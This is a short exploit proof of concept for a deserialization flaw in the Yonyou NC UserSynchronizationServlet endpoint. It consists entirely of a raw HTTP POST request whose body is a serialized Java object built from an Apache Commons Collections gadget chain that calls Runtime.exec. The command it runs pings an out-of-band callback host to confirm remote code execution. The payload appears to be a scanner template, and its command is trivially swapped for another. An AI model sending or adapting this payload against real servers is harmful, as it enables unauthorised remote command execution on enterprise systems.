用友 NC UserSynchronizationServlet 反序列化漏洞

POST /servlet/UserSynchronizationServlet?pageId=login HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 1355
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
X-Originating-Ip: [REDACTED]
X-Remote-Addr: [REDACTED]
X-Remote-Ip: [REDACTED]

��srjava.util.HashSet�D�����4xpw?@
sr4org.apache.commons.collections.keyvalue.TiedMapEntry��қ9��LkeytLjava/lang/Object;LmaptLjava/util/Map;xpt&https://github.com/joaomatosf/jexboss sr*org.apache.commons.collections.map.LazyMapn唂�y�
Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0Ǘ�(z�
[
iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;�V*��4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A��
L	iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformer���k{|�8[iArgst[Ljava/lang/Object;LiMethodNametLjava/lang/String;[iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxpt
getRuntimeur[Ljava.lang.Class;�׮��Z�xpt	getMethoduq~vrjava.lang.String���8z;�Bxpvq~sq~uq~puq~tinvokeuq~vrjava.lang.Objectxpvq~sq~ur[Ljava.lang.String;��V��{Gxp
t/ping d3i6c3plt95kfs63s15gp7ihb7adw9xu1.oast.protexecuq~
q~ sq~srjava.lang.Integer⠤���8
Ivaluexrjava.lang.Number������xp
srjava.util.HashMap���`�F
loadFactorI	thresholdxp?@wxxx